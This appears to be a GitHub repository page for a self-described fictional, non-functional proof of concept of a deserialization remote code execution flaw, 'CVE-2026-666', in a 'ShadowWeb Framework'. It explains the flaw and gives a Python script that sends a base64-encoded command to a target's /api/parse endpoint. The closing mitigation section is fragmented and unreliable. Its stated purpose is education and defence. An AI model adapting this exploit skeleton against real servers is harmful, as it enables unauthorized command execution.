adriangigliotti/cve-2026-666Educational proof-of-concept for CVE-2026-666, a remote code execution vulnerability in ShadowWeb Framework's deserialization, with technical details and mitigation guidance.
A critical remote code execution (RCE) vulnerability has been identified in ShadowWeb Framework versions prior to 3.2.1. The flaw resides in the framework's deserialization mechanism within the ShadowParser module, which improperly handles user-supplied input during the processing of serialized data payloads.
An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted HTTP request to a vulnerable server hosting a ShadowWeb-based application. Successful exploitation allows the attacker to execute arbitrary code on the target system with the privileges of the application server, potentially leading to full system compromise, data theft, or deployment of malicious payloads.
This vulnerability affects all deployments of ShadowWeb Framework running on both Windows and Linux environments when the ShadowParser module is enabled (enabled by default in versions < 3.2.1).
The vulnerability originates in the ShadowParser module of ShadowWeb Framework, specifically in how it processes serialized input via the /api/parse endpoint. The module fails to sanitize or validate incoming serialized data before deserialization, allowing an attacker to inject malicious objects that, when deserialized, execute arbitrary code within the server's runtime environment.
The issue lies in the deserializeObject() function within ShadowParser, which does not enforce strict type checking or boundary validation. An attacker can craft a payload that exploits this by embedding executable code within a serialized string, leveraging the framework's reliance on unsafe deserialization libraries. The payload is processed with the same privileges as the application server, often running as a system user or with elevated permissions, enabling full control over the host system.
The attack vector typically involves a POST request to /api/parse with a JSON body containing a base64-encoded serialized payload. Upon receiving the request, the vulnerable function deserializes the data without filtering, triggering the execution of embedded commands. This can lead to outcomes ranging from simple command execution (e.g., running id or whoami) to complex attacks involving reverse shell deployment or persistent backdoor installation.
Below is a fictional Python script demonstrating the structure of a potential exploit for CVE-2026-666. This code is non-functional and provided for educational purposes only to illustrate how an attacker might craft a malicious request targeting the vulnerable ShadowParser module.
#!/usr/bin/env python3
# PoC for CVE-2026-666 - ShadowWeb Framework RCE Vulnerability
# This is a fictional, non-functional script for educational purposes only
import requests
import base64
import argparse
def craft_malicious_payload(command):
"""
Craft a serialized payload that would trigger RCE in ShadowWeb's ShadowParser module
This is a placeholder function and does not create a real exploit
"""
# Simulated malicious serialized data (fictional representation)
serialized_data = f"__shadow_exec__:{{cmd: '{command}'}}".encode('utf-8')
b64_payload = base64.b64encode(serialized_data).decode('utf-8')
return {"payload": b64_payload}
def send_exploit(target_url, payload, timeout=10):
"""
Send the crafted payload to the target ShadowWeb server
This is a placeholder and does not perform a real exploit
"""
headers = {
"Content-Type": "application/json",
"User-Agent": "ShadowWeb-Exploit-Test/1.0"
}
endpoint = f"{target_url.rstrip('/')}/api/parse"
try:
print(f"[*] Sending malicious payload to {endpoint}")
response = requests.post(endpoint, json=payload, headers=headers, timeout=timeout)
if response.status_code == 200:
print("[+] Server processed payload. Check for RCE execution.")
print(f"Response: {response.text[:100]}...")
else:
print(f"[-] Server responded with status code: {response.status_code}")
except Exception as e:
print(f"[-] Error during request: {str(e)}")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-666 PoC for ShadowWeb Framework RCE")
parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://example.com)")
parser.add_argument("-c", "--command", default="id", help="Command to execute on target (default: id)")
args = parser.parse_args()
payload = craft_malicious_payload(args.command)
print(f"[*] Crafted payload for command: {args.command}")
send_exploit(args.target, payload)
if __name__ == "__main__":
print("[*] CVE-2026-666 ShadowWeb Framework RCE PoC")
print("[*] This is a fictional, non-functional script for educational use only")
main()
ShadowParser module.ShadowParser module in the configuration file (shadowweb.conf) by setting enable_parser=false. Note that this may break functionality in applications relying on serialized data processing.ShadowParser (e.g., /api/parse).